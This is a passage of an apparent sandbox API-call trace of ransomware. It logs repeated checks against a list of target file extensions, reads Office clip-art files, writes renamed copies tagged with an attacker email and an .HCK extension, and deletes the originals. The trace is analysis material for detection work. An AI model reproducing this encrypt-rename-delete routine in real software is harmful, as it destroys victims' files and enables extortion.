(lpString1=".dbf", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".1cd") returned 4 [0170.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".jpg") returned 4 [0170.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".doc") returned 4 [0170.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString=".docx") returned 5 [0170.675] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.675] lstrlenW (lpString=".pdf") returned 4 [0170.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString=".xls") returned 4 [0170.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.675] lstrlenW (lpString=".xlsx") returned 5 [0170.675] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.675] lstrlenW (lpString=".ppt") returned 4 [0170.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".zip") returned 4 [0170.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.675] lstrlenW (lpString=".rar") returned 4 [0170.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString=".bz2") returned 4 [0170.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString=".7z") returned 3 [0170.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".dbf") returned 4 [0170.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".1cd") returned 4 [0170.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199609.WMF") returned 68 [0170.675] lstrlenW (lpString=".jpg") returned 4 [0170.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.676] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.676] lstrlenW (lpString="J0200183.WMF") returned 12 [0170.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.682] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5312) returned 1 [0170.682] CloseHandle (hObject=0x38c) returned 1 [0170.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf")) returned 0x220 [0170.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.690] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.690] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.697] GetLastError () returned 0x0 [0170.697] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x14c0, lpOverlapped=0x0) returned 1 [0170.699] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0170.700] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.700] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.700] SetEndOfFile (hFile=0x30c) returned 1 [0170.704] CloseHandle (hObject=0x30c) returned 1 [0170.704] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.704] SetEndOfFile (hFile=0x380) returned 1 [0170.709] CloseHandle (hObject=0x380) returned 1 [0170.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf")) returned 1 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString=".doc") returned 4 [0170.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString=".docx") returned 5 [0170.716] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.716] lstrlenW (lpString=".pdf") returned 4 [0170.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString=".xls") returned 4 [0170.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.716] lstrlenW (lpString=".xlsx") returned 5 [0170.716] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.716] lstrlenW (lpString=".ppt") returned 4 [0170.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString=".zip") returned 4 [0170.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.716] lstrlenW (lpString=".rar") returned 4 [0170.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString=".bz2") returned 4 [0170.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString=".7z") returned 3 [0170.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString=".dbf") returned 4 [0170.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString=".1cd") returned 4 [0170.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString=".jpg") returned 4 [0170.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.716] lstrlenW (lpString=".doc") returned 4 [0170.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.716] lstrlenW (lpString=".docx") returned 5 [0170.717] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.717] lstrlenW (lpString=".pdf") returned 4 [0170.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.717] lstrlenW (lpString=".xls") returned 4 [0170.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.717] lstrlenW (lpString=".xlsx") returned 5 [0170.717] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.717] lstrlenW (lpString=".ppt") returned 4 [0170.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.717] lstrlenW (lpString=".zip") returned 4 [0170.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.717] lstrlenW (lpString=".rar") returned 4 [0170.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.717] lstrlenW (lpString=".bz2") returned 4 [0170.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.717] lstrlenW (lpString=".7z") returned 3 [0170.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.717] lstrlenW (lpString=".dbf") returned 4 [0170.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.717] lstrlenW (lpString=".1cd") returned 4 [0170.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0170.717] lstrlenW (lpString=".jpg") returned 4 [0170.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.717] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.717] lstrlenW (lpString="J0200377.WMF") returned 12 [0170.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.721] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20232) returned 1 [0170.721] CloseHandle (hObject=0x38c) returned 1 [0170.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf")) returned 0x220 [0170.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.730] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.730] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.737] GetLastError () returned 0x0 [0170.737] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4f08, lpOverlapped=0x0) returned 1 [0170.740] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4f10, lpOverlapped=0x0) returned 1 [0170.741] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.741] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.741] SetEndOfFile (hFile=0x380) returned 1 [0170.743] CloseHandle (hObject=0x380) returned 1 [0170.746] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.746] SetEndOfFile (hFile=0x30c) returned 1 [0170.749] CloseHandle (hObject=0x30c) returned 1 [0170.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf")) returned 1 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.753] lstrlenW (lpString=".doc") returned 4 [0170.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString=".docx") returned 5 [0170.753] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.753] lstrlenW (lpString=".pdf") returned 4 [0170.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString=".xls") returned 4 [0170.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.753] lstrlenW (lpString=".xlsx") returned 5 [0170.753] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.753] lstrlenW (lpString=".ppt") returned 4 [0170.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.753] lstrlenW (lpString=".zip") returned 4 [0170.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.753] lstrlenW (lpString=".rar") returned 4 [0170.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString=".bz2") returned 4 [0170.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString=".7z") returned 3 [0170.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString=".dbf") returned 4 [0170.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString=".1cd") returned 4 [0170.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString=".jpg") returned 4 [0170.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString=".doc") returned 4 [0170.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString=".docx") returned 5 [0170.754] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.754] lstrlenW (lpString=".pdf") returned 4 [0170.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString=".xls") returned 4 [0170.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.754] lstrlenW (lpString=".xlsx") returned 5 [0170.754] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.754] lstrlenW (lpString=".ppt") returned 4 [0170.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString=".zip") returned 4 [0170.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.754] lstrlenW (lpString=".rar") returned 4 [0170.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString=".bz2") returned 4 [0170.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString=".7z") returned 3 [0170.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString=".dbf") returned 4 [0170.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.754] lstrlenW (lpString=".1cd") returned 4 [0170.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF") returned 68 [0170.755] lstrlenW (lpString=".jpg") returned 4 [0170.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.755] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.755] lstrlenW (lpString="J0200611.WMF") returned 12 [0170.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.759] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3894) returned 1 [0170.759] CloseHandle (hObject=0x39c) returned 1 [0170.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf")) returned 0x220 [0170.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.766] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.766] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.774] GetLastError () returned 0x0 [0170.774] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xf36, lpOverlapped=0x0) returned 1 [0170.776] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf40, lpOverlapped=0x0) returned 1 [0170.776] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.776] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.777] SetEndOfFile (hFile=0x39c) returned 1 [0170.778] CloseHandle (hObject=0x39c) returned 1 [0170.781] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.781] SetEndOfFile (hFile=0x30c) returned 1 [0170.788] CloseHandle (hObject=0x30c) returned 1 [0170.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf")) returned 1 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString=".doc") returned 4 [0170.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString=".docx") returned 5 [0170.792] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.792] lstrlenW (lpString=".pdf") returned 4 [0170.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString=".xls") returned 4 [0170.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.792] lstrlenW (lpString=".xlsx") returned 5 [0170.792] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.792] lstrlenW (lpString=".ppt") returned 4 [0170.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString=".zip") returned 4 [0170.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.792] lstrlenW (lpString=".rar") returned 4 [0170.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString=".bz2") returned 4 [0170.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString=".7z") returned 3 [0170.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString=".dbf") returned 4 [0170.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString=".1cd") returned 4 [0170.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0170.792] lstrlenW (lpString=".jpg") returned 4 [0170.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.792] lstrlenW (lpString="C:\\Program Files\\Microsoft 